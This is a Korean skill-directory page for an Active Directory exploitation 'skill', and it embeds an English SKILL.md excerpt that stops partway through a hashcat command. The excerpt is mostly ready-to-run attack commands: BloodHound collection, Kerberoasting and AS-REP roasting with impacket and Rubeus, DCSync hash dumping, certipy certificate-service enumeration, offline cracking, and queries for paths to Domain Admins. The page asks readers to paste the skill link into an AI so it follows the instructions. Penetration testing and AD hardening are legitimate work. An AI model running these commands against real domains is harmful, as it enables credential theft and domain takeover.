본문으로 건너뛰기
Skillpedia
보안6.5k · #14022

ad

하는 일

이 지식 베이스는 Kerberos 티켓 악용이나 인증서 오용처럼 Microsoft Active Directory에 대한 공격을 다룹니다. Windows 도메인을 운영하고 방어하는 보안 팀을 위한 자료입니다.

사용하는 경우

  • ✓허가된 테스트에서 도메인 사용자 접근이 있고, Active Directory 공격 경로를 확인해야 할 때.
  • ✓서비스 이름이 있는 Kerberos 서비스 계정을 약한 비밀번호가 있는지 검토하고 싶을 때.
  • ✓팀이 Active Directory의 인증 서비스와 복제 권한을 감사해야 하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“허가된 테스트를 위해 도메인 사용자 계정이 있습니다. 우리가 고쳐야 할 흔한 Active Directory 약점을 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 Kerberoasting이나 인증서 악용처럼 각 공격 계열을 그것을 찾는 점검과, 이를 막는 수정 방법에 연결합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Active Directory Exploitation Knowledge Base

Active Directory exploitation targets authentication protocols, certificate services, and trust relationships to escalate privileges, extract credentials, and achieve domain dominance. All techniques require prior domain access (compromised user or machine account).

Quick Reference — Common AD Attack Patterns

# BloodHound collection (SharpHound from Windows)
SharpHound.exe -c All --outputdirectory bloodhound/

# BloodHound collection (bloodhound-python from Linux)
bloodhound-python -u '<USER>' -p '<PASS>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/

# Kerberoast all SPNs
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt

# AS-REP Roast
impacket-GetNPUsers '<DOMAIN>/' -dc-ip <DC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# DCSync — dump all hashes
impacket-secretsdump '<DOMAIN>/<USER>:<PASS>'@<DC_IP> -outputfile dcsync_dump

# AD CS enumeration
certipy find -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <DC_IP> -stdout > adcs_enum.txt

MITRE ATT&CK Mapping

Technique ID Name Skill Section
T1558.003 Kerberoasting Section 2
T1558.004 AS-REP Roasting Section 3
T1003.006 DCSync Section 5
T1649 Steal or Forge Authentication Certificates Section 4
T1550.003 Pass the Ticket Section 6, 7
T1087.002 Domain Account Discovery Section 1

1. BloodHound / SharpHound — Attack Path Analysis

Data Collection

SharpHound (Windows)

# All collection methods — generates ZIP for BloodHound import
SharpHound.exe -c All --outputdirectory C:\workspace\bloodhound\

# Stealth collection — sessions only (lower noise)
SharpHound.exe -c Session --loop --loopduration 02:00:00

# Specific collection types
SharpHound.exe -c DCOnly           # DC queries only — no host enumeration
SharpHound.exe -c Group,ACL,Trust  # Targeted collection

bloodhound-python (Linux)

# Full collection from Linux
bloodhound-python -u '<USER>' -p '<PASS>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/

# With NTLM hash (pass-the-hash)
bloodhound-python -u '<USER>' --hashes ':<NT_HASH>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/

Key BloodHound Queries

# Find shortest path to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@<TARGET>"})) RETURN p

# Find Kerberoastable users with admin paths
MATCH (u:User {hasspn:true})-[*1..5]->(g:Group {highvalue:true}) RETURN u.name, g.name

# Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.description

# Find users with DCSync rights
MATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN p

# Find constrained delegation targets
MATCH (c {allowedtodelegate: true}) RETURN c.name, c.allowedtodelegate

2. Kerberoasting

Targets service accounts with SPNs. Requests TGS tickets encrypted with the service account's password hash, then cracks offline.

Enumeration & Extraction

Impacket (Linux)

# Request all kerberoastable TGS tickets
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt

# With NTLM hash
impacket-GetUserSPNs '<DOMAIN>/<USER>' -hashes ':<NT_HASH>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt

# Target a specific SPN
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request-user '<SPN_USER>' -outputfile kerberoast_target.txt

Rubeus (Windows)

# Kerberoast all SPNs
Rubeus.exe kerberoast /outfile:C:\workspace\kerberoast_hashes.txt

# Target specific user
Rubeus.exe kerberoast /user:<SPN_USER> /outfile:C:\workspace\kerberoast_target.txt

# Use RC4 downgrade for easier cracking (noisier)
Rubeus.exe kerberoast /rc4opsec /outfile:C:\workspace\kerberoast_rc4.txt

# Use AES (stealthier, harder to crack)
Rubeus.exe kerberoast /aes /outfile:C:\workspace\kerberoast_aes.txt

Offline Cracking

# Hashcat — Kerberos 5 TGS-REP (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o kerberoast_cracked.txt

# With multiple wordlists
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt /usr/share/wordlists/custom.txt -o kerberoast_cracked.txt

# AES-encrypted TGS tickets (mode 19700)
hashcat -m 19700 kerberoast_aes_hashes.txt /usr/shar
자주 묻는 질문

Kerberoasting이란 무엇인가요?

서비스 이름이 있는 서비스 계정을 노리며, 이 계정은 약한 비밀번호로 보호되어 있을 수 있습니다.

복제 권한이 왜 민감한가요?

디렉터리 데이터를 복제할 권한은 비밀번호 해시를 노출할 수 있으므로, 엄격히 제한해야 한다고 설명합니다.

사전에 접근이 필요한가요?

네. 지식 베이스는 이 기법들이 사전에 도메인 접근을 요구한다고 설명합니다.

상세 정보

작성자의 원본 설명

Active Directory exploitation — BloodHound analysis, Kerberoasting, AS-REP Roasting, AD CS abuse, DCSync, Golden Ticket, Constrained Delegation.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14022
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬